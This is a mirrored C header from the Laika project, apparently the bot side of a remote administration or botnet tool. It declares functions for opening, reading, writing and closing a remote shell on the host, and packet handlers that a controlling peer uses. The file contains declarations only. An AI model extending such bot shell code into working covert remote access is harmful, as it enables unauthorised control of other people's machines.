mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 05:31:03 +00:00
CPunch
63e36d1ebb
- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
31 lines
1.2 KiB
C
31 lines
1.2 KiB
C
#ifndef LAIKA_SHELL_H
|
|
#define LAIKA_SHELL_H
|
|
|
|
#include <stddef.h>
|
|
|
|
#define LAIKA_SHELL_TASK_DELTA 50
|
|
|
|
struct sLaika_bot;
|
|
struct sLaika_shell {
|
|
uint32_t id;
|
|
};
|
|
|
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
/* raw platform-dependent shell allocation */
|
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
/* handles reading & writing to shell pipes */
|
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
|
|
|
/* packet handlers */
|
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
|
|
|
#endif |